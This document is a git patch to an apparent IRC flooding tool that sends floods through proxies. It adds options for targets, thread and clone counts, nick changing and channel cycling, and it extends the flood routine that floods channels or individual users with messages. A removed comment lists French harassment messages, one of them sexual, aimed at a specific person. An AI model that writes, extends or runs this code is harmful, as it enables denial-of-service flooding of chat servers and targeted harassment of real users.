From 89e73a818a5cb2f8db277fc6ba378b9f01fdd832 Mon Sep 17 00:00:00 2001 From: Your Name Date: Mon, 26 Apr 2021 03:29:43 +0200 Subject: [PATCH] add more flood stuff --- config.py | 8 +++++--- proxyflood.py | 38 +++++++++++++++++++++++++++----------- 2 files changed, 32 insertions(+), 14 deletions(-) diff --git a/config.py b/config.py index 6e01613..783b353 100644 --- a/config.py +++ b/config.py @@ -54,11 +54,13 @@ class Config(ComboParser): section = 'flood' self.add_item(section, 'server', str, 'irc.epiknet.org', 'irc server address', True) - self.add_item(section, 'message', str, 'default message', 'message', True) - self.add_item(section, 'target', str, '#flood', 'target to flood (default: #flood)', False) + self.add_item(section, 'target', str, '#flood', 'target to flood (default: #flood)', True) + self.add_item(section, 'message', str, None, 'message', False) self.add_item(section, 'threads', int, 1, '# of threads', False) - self.add_item(section, 'max_time', int, 180, 'maximum time to run (default: 180secs)', False) + self.add_item(section, 'once', int, 0, 'quit as soon as possible (default: 0)', False) + self.add_item(section, 'max_time', int, 90, 'maximum time to run (default: 90 secs)', False) self.add_item(section, 'use_ssl', int, 2, 'Use ssl? (0: false, 1: true, 2: random) - default: 2', False) + self.add_item(section, 'cycle', int, 0, 'cycle flood', False) self.add_item(section, 'change_nick', int, 0, 'Change nick between messages (useful when flooding privates) - default: 0', False) self.add_item(section, 'use_timeout', int, 0, 'make connexions quit through timeout (default: false)', False) self.add_item(section, 'clones', int, 1, 'Number of connexion repeat to run - default: 1', False) diff --git a/proxyflood.py b/proxyflood.py index 4f1b1b7..e87775f 100644 --- a/proxyflood.py +++ b/proxyflood.py @@ -52,8 +52,7 @@ def socks4_resolve(srvname, server_port): def flood(sock): nick = random.choice(nicklist) - #msgs = [ "coucou c'est papa, pourquoi tu m'ignores?", "c'est papa, pourquoi tu es partie?", "gniagniagnia harcelement", "arrete de geindre", "coucou tu veux voir ma bite? (ps: c'est papa)" ] - msgs = config.flood.message.split(';') + if config.flood.message is not None: msgs = config.flood.message.split(';') sock.send('NICK %s\nUSER %s %s localhost :%s\n' %(nick, nick, nick, nick)) ticks = time.time() @@ -79,18 +78,37 @@ def flood(sock): if '#' in config.flood.target or '%' in config.flood.target or '%' in config.flood.target: sock.send('JOIN %s\r\n' % config.flood.target) - if config.flood.change_nick: - for i in range(3): sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(config.flood.target, random.choice(msgs), random.choice(nicklist))) - else: - sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, random.choice(msgs))) + # target is a nick + elif config.flood.message is not None: + if config.flood.change_nick: + for i in range(3): sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(config.flood.target, random.choice(msgs), random.choice(nicklist))) + else: + sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, random.choice(msgs))) + + if config.flood.once: + sock.send('QUIT\r\n') + + + # end of names list (joined a chan) + elif _split[1] == '366': + if config.flood.message is not None: + if config.flood.change_nick: + for i in range(3): sock.send('PRIVMSG %s :%s\r\nNICK %s\r\n' %(config.flood.target, random.choice(msgs), random.choice(nicklist))) + else: + sock.send('PRIVMSG %s :%s\r\n' % (config.flood.target, random.choice(msgs))) + if config.flood.cycle: + sock.send('PART %s\r\nJOIN %s\r\n)' % (_split[3], _split[3])) + time.sleep(1) + + elif config.flood.once: + sock.send('QUIT\r\n') # nick already used elif _split[1] == '433': sock.send('NICK %s\r\n' % random.choice(nicknames)) - sock.disconnect() - return - + try: sock.disconnect() + except: pass class WorkerJob(): def __init__(self, proxy, proto, failcount, success_count, total_duration, country, oldies = False): @@ -429,8 +447,6 @@ if __name__ == '__main__': config.load() - #config.flood.threads = config.flood.threads * config.flood.clones - w = Proxywatchd() try: w.start()